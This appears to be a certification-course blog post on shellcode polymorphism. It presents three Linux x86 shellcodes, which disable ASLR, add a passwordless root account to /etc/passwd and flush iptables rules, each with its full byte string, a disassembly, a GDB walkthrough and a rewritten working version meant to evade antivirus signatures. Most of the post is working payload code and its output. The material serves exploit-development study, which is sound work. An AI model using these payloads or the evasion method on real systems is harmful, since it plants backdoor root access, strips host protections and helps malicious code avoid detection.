In this blog post, we will be covering the concept of polymorphism, and how it can be used to modify shellcode to bypass antivirus signature detection.
This post follows on in our blog series created for the SLAE32 certification course provided by Pentester Academy.
Overview
Antivirus solutions tend to rely on two main detection mechanisms in order to identify malicious code. These are behavioural analysis, and signature detection. In signature detection, the AV engine tends to search shellcode for commonly known sequences of instructions, or 'patterns' which are known to be malicious. This makes it easy to fingerprint particular classes of malware with a simple pattern matching algorithm.
A lot of the time, there is an emphasis on efficiency in shellcode. In general, this means that the smaller and more precisely a piece of shellcode carries out its intended action, the better. However, when it comes to comparing shellcode samples side by side, often many of them will look very similar at an instruction-by-instruction level.
Taking Metasploit as an example, the well known 'shikata_ga_nai' encoder is known to be easily fingerprinted by most antivirus engines in use today, given its use of a commonly recognised decoder stub. This article provides good coverage on how a simple Yara rule can be used to identify a sample of 236 payloads encoded using this particular encoder.
This is where polymorphism comes in. The core idea behind polymorphism it is to take a piece of shellcode and replace its instructions with those which perform equivalent functionality. The idea is to increase the level of obscurity and differentiate byte patterns which might commonly be shared between shellcode variants. Ultimately, the goal is for the shellcode to perform the same action, but appear different at a signature level.
In this blog post, we will be taking three shellcode examples from ShellStorm and applying this principle of polymorphism. Our chosen shellcodes are:
- Shellcode 1: - Linux/x86 - ASLR deactivation - 83 bytes by Jean Pascal Pereira
- Shellcode 2: - Linux/x86 - add root user (r00t) with no password to /etc/passwd - 69 bytes by Kris Katterjohn
- Shellcode 3: - Linux/x86 - execve() of /sbin/iptables -F - 70 bytes by zillion
Shellcode 1: Linux/x86 - ASLR deactivation
The first shellcode we will look at is said to deactivate ASLR. ASLR, or Address Space Layout Randomisation, was introduced to Linux in 2001 in order to randomise memory segments in a given program. This would mean that any exploits which rely on static memory address to work correctly would fail, as it would no longer be possible to pre-emptively determine where your shellcode would end up in memory following exploitation.
Modern Linux kernels have this setting enabled by default, by setting the value 2 in the file /proc/sys/kernel/randomize_va_space:
┌──(root㉿kali)-[/home/jack/SLAE32/Assignment 6: Polymorphism]
└─# cat /proc/sys/kernel/randomize_va_space 1 ⚙
2
From this website we understand that there are three main settings for ASLR:
- 0 – ASLR is disabled. Everything is static.
- 1 – Address space randomisation. Shared libraries, stack, mmap(), VDSO and heap are randomised.
- 2 – Complete randomisation. In addition to the randomisation in setting 1, memory managed through brk() is also randomised.
We can temporarily disable ASLR by setting this value to 0. Next, we will analyse the shellcode sample to determine if this is what it actually does when executed.
Ndisasm Analysis
The shellcode obtained from shell-storm is as follows:
/*
Title: Linux x86 ASLR deactivation - 83 bytes
Author: Jean Pascal Pereira <pereira@secbiz.de>
Web: http://0xffe4.org
Disassembly of section .text:
08048060 <_start>:
8048060: 31 c0 xor %eax,%eax
8048062: 50 push %eax
8048063: 68 70 61 63 65 push $0x65636170
8048068: 68 76 61 5f 73 push $0x735f6176
804806d: 68 69 7a 65 5f push $0x5f657a69
8048072: 68 6e 64 6f 6d push $0x6d6f646e
8048077: 68 6c 2f 72 61 push $0x61722f6c
804807c: 68 65 72 6e 65 push $0x656e7265
8048081: 68 79 73 2f 6b push $0x6b2f7379
8048086: 68 6f 63 2f 73 push $0x732f636f
804808b: 68 2f 2f 70 72 push $0x72702f2f
8048090: 89 e3 mov %esp,%ebx
8048092: 66 b9 bc 02 mov $0x2bc,%cx
8048096: b0 08 mov $0x8,%al
8048098: cd 80 int $0x80
804809a: 89 c3 mov %eax,%ebx
804809c: 50 push %eax
804809d: 66 ba 30 3a mov $0x3a30,%dx
80480a1: 66 52 push %dx
80480a3: 89 e1 mov %esp,%ecx
80480a5: 31 d2 xor %edx,%edx
80480a7: 42 inc %edx
80480a8: b0 04 mov $0x4,%al
80480aa: cd 80 int $0x80
80480ac: b0 06 mov $0x6,%al
80480ae: cd 80 int $0x80
80480b0: 40 inc %eax
80480b1: cd 80 int $0x80
*/
#include <stdio.h>
char shellcode[] = "\x31\xc0\x50\x68\x70\x61\x63\x65\x68\x76\x61\x5f\x73\x68"
"\x69\x7a\x65\x5f\x68\x6e\x64\x6f\x6d\x68\x6c\x2f\x72\x61"
"\x68\x65\x72\x6e\x65\x68\x79\x73\x2f\x6b\x68\x6f\x63\x2f"
"\x73\x68\x2f\x2f\x70\x72\x89\xe3\x66\xb9\xbc\x02\xb0\x08"
"\xcd\x80\x89\xc3\x50\x66\xba\x30\x3a\x66\x52\x89\xe1\x31"
"\xd2\x42\xb0\x04\xcd\x80\xb0\x06\xcd\x80\x40\xcd\x80";
int main()
{
fprintf(stdout,"Lenght: %d\n",strlen(shellcode));
(*(void (*)()) shellcode)();
}
To begin, we disassemble the shellcode using ndisasm.
echo -ne "\x31\xc0\x50\x68\x70\x61\x63\x65\x68\x76\x61\x5f\x73\x68\x69\x7a\x65\x5f\x68\x6e\x64\x6f\x6d\x68\x6c\x2f\x72\x61\x68\x65\x72\x6e\x65\x68\x79\x73\x2f\x6b\x68\x6f\x63\x2f\x73\x68\x2f\x2f\x70\x72\x89\xe3\x66\xb9\xbc\x02\xb0\x08\xcd\x80\x89\xc3\x50\x66\xba\x30\x3a\x66\x52\x89\xe1\x31\xd2\x42\xb0\x04\xcd\x80\xb0\x06\xcd\x80\x40\xcd\x80" | ndisasm -u -
00000000 31C0 xor eax,eax
00000002 50 push eax
00000003 6870616365 push dword 0x65636170
00000008 6876615F73 push dword 0x735f6176
0000000D 68697A655F push dword 0x5f657a69
00000012 686E646F6D push dword 0x6d6f646e
00000017 686C2F7261 push dword 0x61722f6c
0000001C 6865726E65 push dword 0x656e7265
00000021 6879732F6B push dword 0x6b2f7379
00000026 686F632F73 push dword 0x732f636f
0000002B 682F2F7072 push dword 0x72702f2f
00000030 89E3 mov ebx,esp
00000032 66B9BC02 mov cx,0x2bc
00000036 B008 mov al,0x8
00000038 CD80 int 0x80
0000003A 89C3 mov ebx,eax
0000003C 50 push eax
0000003D 66BA303A mov dx,0x3a30
00000041 6652 push dx
00000043 89E1 mov ecx,esp
00000045 31D2 xor edx,edx
00000047 42 inc edx
00000048 B004 mov al,0x4
0000004A CD80 int 0x80
0000004C B006 mov al,0x6
0000004E CD80 int 0x80
00000050 40 inc eax
00000051 CD80 int 0x80
GDB Analysis
Now that we have obtained the raw assembly instructions, we next look at performing analysis in GDB.
To begin, we take the shellcode buffer and insert it into our C skeleton program:
#include<stdio.h>
#include<string.h>
unsigned char code[] = \
"\x31\xc0\x50\x68\x70\x61\x63\x65\x68\x76\x61\x5f\x73\x68\x69\x7a\x65\x5f\x68\x6e\x64\x6f\x6d\x68\x6c\x2f\x72\x61\x68\x65\x72\x6e\x65\x68\x79\x73\x2f\x6b\x68\x6f\x63\x2f\x73\x68\x2f\x2f\x70\x72\x89\xe3\x66\xb9\xbc\x02\xb0\x08\xcd\x80\x89\xc3\x50\x66\xba\x30\x3a\x66\x52\x89\xe1\x31\xd2\x42\xb0\x04\xcd\x80\xb0\x06\xcd\x80\x40\xcd\x80";
int main()
{
printf("Shellcode Length: %d\n", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}
We compile this with GCC:
┌──(root㉿kali)-[/home/jack/SLAE32/Assignment 6: Polymorphism]
└─# gcc -fno-stack-protector -z execstack shellcode.c -o shellcode
Then, we fire up GDB with the PEDA plugin enabled and set a breakpoint on the main function:
We hit the breakpoint and disassemble the code variable containing the shellcode.
We then set a breakpoint to the first instruction and begin our analysis.
We come to our first set of interesting instructions, which involve pushing several hex encoded strings to the stack.
After the first PUSH instruction is executed, we inspect the stack and see the first string, "pace".
This appears to be the end of the filepath '/proc/sys/kernel/randomize_va_space'.
Iterating over the rest of the PUSH instructions, we construct the complete string, confirming the intention of the instructions is to push the file pathname to the stack for later use.
After the pathname is pushed to the stack, we see that it is moved into the EBX register. Next, hex value 0x2bc is moved into the ECX register, and 0x8 is moved into AL. Based on the syscall number, this indicates a syscall to the creat function is imminent.
Below is the function header for creat:
int creat(const char *pathname, mode_t mode);
From our analysis above, we can deduce that the creat syscall is being used to open or create a file at the given pathname of ''/proc/sys/kernel/randomize_va_space' with mode_t set to 0x2bc or 700 in decimal.
In this case, as 700 is chosen, this sets the user context in which the shell code is running to have full read, write and execute permissions over the file.
Once this file is open, a file descriptor (fd) value is stored in EAX. The shellcode moves this value into EBX register with the mov instruction, and pushes it to the stack. Next, the value 0x3a30 is moved into the DX register and pushed to the stack, before ESP is moved into ECX and EDX is cleared. The value 0x3a30 is equivalent to the ascii representation ":0".
Following this, the value 0x4 is moved into AL. Based on the syscall number, this indicates a syscall to the write function will be made.
Below is the function header for write:
ssize_t write(int fd, const void *buf, size_t count);
Following the syscall, the shellcode simply moves the value 0x6 into the AL register, which is the syscall for close, effectively closing the file.
We confirm the syscall for close as follows:
Upon the file being successfully closed, the value 0x0 is moved into EAX. This means that the shellcode just has to increment EAX, setting it to 0x1 to contain the syscall for exit. This will gracefully exit the shellcode.
We check the /proc/sys/kernel/randomize_va_space file and confirm that it has been changed to contain '0', effectively disabling ASLR as intended.
Shellcode 1: Polymorphic version
Before we make any changes to the assembly instructions, we create a copy of the original in a separate file as below. The original shellcode size is 83 bytes:
; Linux x86 ASLR deactivation - 83 bytes
; Author: Jean Pascal Pereira <pereira@secbiz.de>
; Website: http://0xffe4.org
;
; Purpose: SLAE32 exam assignment
;
;
; Assignment 6: Polymorphism
global _start
section .text
_start:
xor eax,eax
push eax
push dword 0x65636170
push dword 0x735f6176
push dword 0x5f657a69
push dword 0x6d6f646e
push dword 0x61722f6c
push dword 0x656e7265
push dword 0x6b2f7379
push dword 0x732f636f
push dword 0x72702f2f
mov ebx,esp
mov cx,0x2bc
mov al,0x8
int 0x80
mov ebx,eax
push eax
mov dx,0x3a30
push dx
mov ecx,esp
xor edx,edx
inc edx
mov al,0x4
int 0x80
mov al,0x6
int 0x80
inc eax
int 0x80
Our updated polymorphic version is as follows:
; disable_aslr_polymorphic.nasm - 71 bytes
; Author: Jack McBride (PA-6483)
; Website: https://jacklgmcbride.co.uk
;
; Purpose: SLAE32 exam assignment
;
;
; Assignment 6: Polymorphism
global _start
section .text
_start:
jmp _aslr
_main:
xor eax, eax
pop ebx
mov cx,0x2bc
mov al,0x8
int 0x80
mov ebx,eax
push byte 0x30
mov ecx,esp
inc edx
mov al,0x4
int 0x80
mov al,0x6
int 0x80
inc eax
int 0x80
_aslr:
call _main
db '/proc/sys/kernel/randomize_va__space'
Our polymorphic version is 71 bytes (12 bytes less than the original) = 15.5% size decrease.
In the original, the main standout feature is the 9 push instructions used to push the file path /proc/sys/kernel/randomize_va_space to the stack.
Instead of using the stack technique, our polymorphic version instead uses the jmp-call-pop technique to pop the pathname argument into the EBX register. In this way, the previously implemented push instructions are avoided.
Additionally, the call to the write syscall which originally used 0x3a30 has been truncated to a simple push byte 0x30 instruction, as writing the value '0' into the randomize_va_space file was found to be sufficient.
To further consolidate on space, the polymorphic version removes unnecessary calls to clear or increment registers which were found to be unused.
We run the new polymorphic shellcode and confirm that it works as expected:
Shellcode 2: Linux/x86 - add root user (r00t) with no password to /etc/passwd
The next shellcode we will look at is said to add a passwordless local account with root permissions, under the name of 'r00t'. The functionality of this is quite self-explanatory so we will jump into performing our analysis with ndisasm.
Ndisasm Analysis
The shellcode obtained from shell-storm is as follows:
/* By Kris Katterjohn 11/14/2006
*
* 69 byte shellcode to add root user 'r00t' with no password to /etc/passwd
*
* for Linux/x86
*
*
*
* section .text
*
* global _start
*
* _start:
*
* ; open("/etc//passwd", O_WRONLY | O_APPEND)
*
* push byte 5
* pop eax
* xor ecx, ecx
* push ecx
* push 0x64777373
* push 0x61702f2f
* push 0x6374652f
* mov ebx, esp
* mov cx, 02001Q
* int 0x80
*
* mov ebx, eax
*
* ; write(ebx, "r00t::0:0:::", 12)
*
* push byte 4
* pop eax
* xor edx, edx
* push edx
* push 0x3a3a3a30
* push 0x3a303a3a
* push 0x74303072
* mov ecx, esp
* push byte 12
* pop edx
* int 0x80
*
* ; close(ebx)
*
* push byte 6
* pop eax
* int 0x80
*
* ; exit()
*
* push byte 1
* pop eax
* int 0x80
*/
main()
{
char shellcode[] =
"\x6a\x05\x58\x31\xc9\x51\x68\x73\x73\x77\x64\x68"
"\x2f\x2f\x70\x61\x68\x2f\x65\x74\x63\x89\xe3\x66"
"\xb9\x01\x04\xcd\x80\x89\xc3\x6a\x04\x58\x31\xd2"
"\x52\x68\x30\x3a\x3a\x3a\x68\x3a\x3a\x30\x3a\x68"
"\x72\x30\x30\x74\x89\xe1\x6a\x0c\x5a\xcd\x80\x6a"
"\x06\x58\xcd\x80\x6a\x01\x58\xcd\x80";
(*(void (*)()) shellcode)();
}
--
To begin, we once again disassemble the shellcode using ndisasm:
echo -ne "\x6a\x05\x58\x31\xc9\x51\x68\x73\x73\x77\x64\x68\x2f\x2f\x70\x61\x68\x2f\x65\x74\x63\x89\xe3\x66\xb9\x01\x04\xcd\x80\x89\xc3\x6a\x04\x58\x31\xd2\x52\x68\x30\x3a\x3a\x3a\x68\x3a\x3a\x30\x3a\x68\x72\x30\x30\x74\x89\xe1\x6a\x0c\x5a\xcd\x80\x6a\x06\x58\xcd\x80\x6a\x01\x58\xcd\x80" | ndisasm -u -
00000000 6A05 push byte +0x5
00000002 58 pop eax
00000003 31C9 xor ecx,ecx
00000005 51 push ecx
00000006 6873737764 push dword 0x64777373
0000000B 682F2F7061 push dword 0x61702f2f
00000010 682F657463 push dword 0x6374652f
00000015 89E3 mov ebx,esp
00000017 66B90104 mov cx,0x401
0000001B CD80 int 0x80
0000001D 89C3 mov ebx,eax
0000001F 6A04 push byte +0x4
00000021 58 pop eax
00000022 31D2 xor edx,edx
00000024 52 push edx
00000025 68303A3A3A push dword 0x3a3a3a30
0000002A 683A3A303A push dword 0x3a303a3a
0000002F 6872303074 push dword 0x74303072
00000034 89E1 mov ecx,esp
00000036 6A0C push byte +0xc
00000038 5A pop edx
00000039 CD80 int 0x80
0000003B 6A06 push byte +0x6
0000003D 58 pop eax
0000003E CD80 int 0x80
00000040 6A01 push byte +0x1
00000042 58 pop eax
00000043 CD80 int 0x80
GDB Analysis
Now that we have obtained the raw assembly instructions, we next look at performing analysis using GDB.
To begin, we take the shellcode buffer and insert it into our C skeleton program:
#include<stdio.h>
#include<string.h>
unsigned char code[] = \
"\x6a\x05\x58\x31\xc9\x51\x68\x73\x73\x77\x64\x68\x2f\x2f\x70\x61\x68\x2f\x65\x74\x63\x89\xe3\x66\xb9\x01\x04\xcd\x80\x89\xc3\x6a\x04\x58\x31\xd2\x52\x68\x30\x3a\x3a\x3a\x68\x3a\x3a\x30\x3a\x68\x72\x30\x30\x74\x89\xe1\x6a\x0c\x5a\xcd\x80\x6a\x06\x58\xcd\x80\x6a\x01\x58\xcd\x80";
int main()
{
printf("Shellcode Length: %d\n", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}
We compile it with GCC:
┌──(root㉿kali)-[/home/jack/SLAE32/Assignment 6: Polymorphism]
└─# gcc -fno-stack-protector -z execstack shellcode.c -o shellcode
We then start GDB and set two breakpoints: one on the main function, and the next at the first assembly instruction in the code variable as follows:
After the initial instructions, we see that the string /etc/passwd is pushed in reverse to the stack:
The function header for the open syscall is as follows:
int open(const char *pathname, int flags);
Next, the arguments for the syscall to open are arranged in the registers prior to the call below:
Following the syscall, the file descriptor for the /etc/passwd file is moved from EAX into EBX, and a new value 0x4 is moved into EAX. This value 0x4 corresponds to the write syscall.
The write function header is as follows:
ssize_t write(int fd, const void *buf, size_t count);
Following this, the string to write into /etc/passwd is pushed to the stack. As per the function header for the write syscall, the value to write into the file is pointed to by the ECX register.
Prior to the call to write, the syscall arguments are arranged as follows:
To close the file, the close syscall is used, and takes the file descriptor of the file it will close.
The close function header is as follows:
int close(int fd);
After the modified file is closed, the exit syscall is called, by moving 0x1 into EAX and calling int 0x80.
Following our analysis of the shellcode, we check our local /etc/passwd file and confirm that the new user r00t has been appended.
Shellcode 2: Polymorphic version
Before we make any changes to the assembly instructions, we create a copy of the original in a separate file as below. The original shellcode size is 69 bytes.
/* By Kris Katterjohn 11/14/2006
*
* 69 byte shellcode to add root user 'r00t' with no password to /etc/passwd
*
* for Linux/x86
*
*
*
* section .text
*
* global _start
*
* _start:
*
* ; open("/etc//passwd", O_WRONLY | O_APPEND)
*
* push byte 5
* pop eax
* xor ecx, ecx
* push ecx
* push 0x64777373
* push 0x61702f2f
* push 0x6374652f
* mov ebx, esp
* mov cx, 02001Q
* int 0x80
*
* mov ebx, eax
*
* ; write(ebx, "r00t::0:0:::", 12)
*
* push byte 4
* pop eax
* xor edx, edx
* push edx
* push 0x3a3a3a30
* push 0x3a303a3a
* push 0x74303072
* mov ecx, esp
* push byte 12
* pop edx
* int 0x80
*
* ; close(ebx)
*
* push byte 6
* pop eax
* int 0x80
*
* ; exit()
*
* push byte 1
* pop eax
* int 0x80
*/
Our updated version is as follows:
; adduser_polymorphic.nasm - 45 bytes
; Author: Jack McBride (PA-6483)
; Website: https://jacklgmcbride.co.uk
;
; Purpose: SLAE32 exam assignment
;
;
; Assignment 6: Polymorphism
global _start
section .text
_start:
jmp _cmd
_main:
pop edx; store string to be added to /etc/passwd
push byte 0x46
pop eax
int 0x80; call setreuid
mov al, 0x5
push ecx
push 0x64777373
push 0x61702f2f
push 0x6374652f
mov ebx, esp
inc ecx
mov ch, 0x4
int 0x80; call open on /etc/passwd with 401 flags
xor ecx, ecx
push ecx
xchg ecx, edx
xchg ebx, eax
xor eax, eax
mov al, 0x4
mov edx, 0x1A
int 0x80; call write to append new user to /etc/passwd
xchg eax, esi
int 0x80
_cmd:
call _main
db "r00t::0:0::/root:/bin/bash", 0xA
Our polymorphic version is 45 bytes (24 bytes less than the original) = 42% size decrease.
To improve efficiency over the original shellcode, we opted to use the jmp-call-pop technique instead of pushing the hex encoded values for the new user account to the stack.
In addition, we remove any unnecessary changes to registers, namely XOR instructions designed to clear registers that are already cleared. Additionally, we have removed the syscall to close the file descriptor for /etc/passwd once we have finished writing to it, as the operating system will do this automatically for us following the call to exit.
Shellcode 3: Linux/x86 - iptables -F - 70 bytes
The final shellcode that we will analyse is designed to flush all host-based firewall rules by issuing the iptables -F command.
This can be used on a host which is blocking network communications to management ports such as SSH and might be later used by an attacker during the post-exploitation phase to perform further actions which require having a shell on the machine.
Ndisasm Analysis
The shellcode obtained from shell-storm is as follows:
Author: zillion
Email: zillion@safemode.org
Home: http://www.safemode.org
Linux x86 shellcode that does an execve() of /sbin/iptables -F in order to
flush activated firewall rules.
File: flush-iptables-shell.c
/*
* This shellcode will do /sbin/iptables -F
* Written by zillion@safemode.org
*
*/
char shellcode[]=
"\xeb\x21\x5e\x31\xc0\x88\x46\x0e\x88\x46\x11\x89\x76\x12\x8d"
"\x5e\x0f\x89\x5e\x16\x89\x46\x1a\xb0\x0b\x89\xf3\x8d\x4e\x12"
"\x8d\x56\x1a\xcd\x80\xe8\xda\xff\xff\xff\x2f\x73\x62\x69\x6e"
"\x2f\x69\x70\x74\x61\x62\x6c\x65\x73\x38\x2d\x46\x32\x33\x34"
"\x35\x36\x37\x38\x39\x61\x62\x63\x64\x65";
int main()
{
int *ret;
ret = (int *)&ret + 2;
(*ret) = (int)shellcode;
}
To begin, we disassemble the shellcode into its assembly instructions using ndisasm:
echo -ne "\xeb\x21\x5e\x31\xc0\x88\x46\x0e\x88\x46\x11\x89\x76\x12\x8d\x5e\x0f\x89\x5e\x16\x89\x46\x1a\xb0\x0b\x89\xf3\x8d\x4e\x12\x8d\x56\x1a\xcd\x80\xe8\xda\xff\xff\xff\x2f\x73\x62\x69\x6e\x2f\x69\x70\x74\x61\x62\x6c\x65\x73\x38\x2d\x46\x32\x33\x34\x35\x36\x37\x38\x39\x61\x62\x63\x64\x65" | ndisasm -u -
00000000 EB21 jmp short 0x23
00000002 5E pop esi
00000003 31C0 xor eax,eax
00000005 88460E mov [esi+0xe],al
00000008 884611 mov [esi+0x11],al
0000000B 897612 mov [esi+0x12],esi
0000000E 8D5E0F lea ebx,[esi+0xf]
00000011 895E16 mov [esi+0x16],ebx
00000014 89461A mov [esi+0x1a],eax
00000017 B00B mov al,0xb
00000019 89F3 mov ebx,esi
0000001B 8D4E12 lea ecx,[esi+0x12]
0000001E 8D561A lea edx,[esi+0x1a]
00000021 CD80 int 0x80
00000023 E8DAFFFFFF call 0x2
00000028 2F das
00000029 7362 jnc 0x8d
0000002B 696E2F69707461 imul ebp,[esi+0x2f],dword 0x61747069
00000032 626C6573 bound ebp,[ebp+0x73]
00000036 382D46323334 cmp [dword 0x34333246],ch
0000003C 3536373839 xor eax,0x39383736
00000041 61 popa
00000042 626364 bound esp,[ebx+0x64]
00000045 65 gs
As this shellcode is using the jmp-call-pop technique, we notice that the assembly instructions that we get from ndisasm don't exactly match the commented assembly provided by the shellcode author.
We can investigate further using GDB.
GDB Analysis
To begin, we take the shellcode buffer and insert it into the C program:
#include<stdio.h>
#include<string.h>
unsigned char code[] = \
"\xeb\x21\x5e\x31\xc0\x88\x46\x0e\x88\x46\x11\x89\x76\x12\x8d\x5e\x0f\x89\x5e\x16\x89\x46\x1a\xb0\x0b\x89\xf3\x8d\x4e\x12\x8d\x56\x1a\xcd\x80\xe8\xda\xff\xff\xff\x2f\x73\x62\x69\x6e\x2f\x69\x70\x74\x61\x62\x6c\x65\x73\x38\x2d\x46\x32\x33\x34\x35\x36\x37\x38\x39\x61\x62\x63\x64\x65";
int main()
{
printf("Shellcode Length: %d\n", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}
We compile it with GCC:
┌──(root㉿kali)-[/home/jack/SLAE32/Assignment 6: Polymorphism]
└─# gcc -fno-stack-protector -z execstack shellcode.c -o shellcode
We then start GDB and set two breakpoints: one on the main function, and the next at the first assembly instruction in the code variable as follows:
After the initial instructions, we note that the code is performing the jmp-call-pop technique to push the command to the stack.
Next, the command string is broken down into segments by inserting null bytes into the ESI register at specific offsets:
Based on the argument structure of execve, the first argument is the pathname of the program that is being executed. As the shellcode is executing the iptables -F command, the pathname argument will be set to /sbin/iptables and argv will be set to -F.
The function header for execve is as follows:
int execve(const char *pathname, char *const argv[], char *const envp[]);
In order to supply the arguments to execve, they are pushed as strings to the stack and appended with a null terminator to indicate the end of each string. Once this is done, a pointer to the pathname and a pointer to the arguments are moved into the EBX and ECX registers respectively.
Next, for the call to execve, the value 0x11 is moved into EAX
Finally, the syscall to execve is called.
Checking the output of the iptables -L command, we confirm that the iptables entry on our machine is empty, indicating that the shellcode worked as intended.
Shellcode 3: Polymorphic version
Before we make any changes to the assembly instructions, we create a copy of the original in a separate file as below. The original shellcode is 70 bytes in size.
Author: zillion
Email: zillion@safemode.org
Home: http://www.safemode.org
Linux x86 shellcode that does an execve() of /sbin/iptables -F in order to
flush activated firewall rules.
File: flush-iptables-shell.c
/*
* This shellcode will do /sbin/iptables -F
* Written by zillion@safemode.org
*
*/
char shellcode[]=
"\xeb\x21\x5e\x31\xc0\x88\x46\x0e\x88\x46\x11\x89\x76\x12\x8d"
"\x5e\x0f\x89\x5e\x16\x89\x46\x1a\xb0\x0b\x89\xf3\x8d\x4e\x12"
"\x8d\x56\x1a\xcd\x80\xe8\xda\xff\xff\xff\x2f\x73\x62\x69\x6e"
"\x2f\x69\x70\x74\x61\x62\x6c\x65\x73\x38\x2d\x46\x32\x33\x34"
"\x35\x36\x37\x38\x39\x61\x62\x63\x64\x65";
int main()
{
int *ret;
ret = (int *)&ret + 2;
(*ret) = (int)shellcode;
}
Our updated version is as follows:
; flush_iptables_polymorphic - 49 bytes
; Author: Jack McBride (PA-6483)
; Website: https://jacklgmcbride.co.uk
;
; Purpose: SLAE32 exam assignment
;
;
; Assignment 6: Polymorphism
global _start
section .text
_start:
xor edx,edx
; push -F
push edx
push word 0x462d
mov eax, esp; save pointer to second argument in EAX
; push /sbin/iptables
push edx
push 0x73656c62
push 0x61747069
push 0x2f2f6e69
push 0x62732f2f
; move pointer to file name into ebx
mov ebx, esp
push edx
push eax; push second argument
push ebx; push first argument
mov ecx, esp
xor eax, eax
mov al,0xb
int 0x80
xor eax, eax
mov al, 0x1
int 0x80
Our polymorphic version is 49 bytes (21 bytes less than the original) = 35% size decrease.
In the original, the shellcode leveraged the jmp call pop procedure to initially push the command to execute to the stack. In our version, instead the shellcode writes the pathname of the /sbin/iptables command to the stack, and then pushes its -F argument to the stack as well. This saves us some instructions as we do not have to make as many modifications to the ESI register as was the case in the original.
We next appropriately append null bytes to the arguments we have pushed where needed, and make the call to the exexce syscall. In addition to this, we consolidated space by removing any unnecessary calls to clear or modify registers.
We run the new polymorphic shellcode and confirm that it works as expected:
Code
This concludes our analysis of polymorphism, and our process of applying it to the refactoring of our three example shellcodes from ShellStorm.
The Assembly and C source code for my polymorphic shellcode implementations can be found on my GitHub repository.
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification.
Student ID: PA-6483
All code was tested on 32-bit Kali Linux:
┌──(jack㉿kali)-[~/SLAE32/Assignment 6: Polymorphism]
└─$ uname -a
Linux kali 5.5.0-kali2-686-pae #1 SMP Debian 5.5.17-1kali1 (2020-04-21) i686 GNU/Linux
In the next blog post, we will be covering our implementation of a custom crypter using the AES encryption cipher.
Thanks for reading!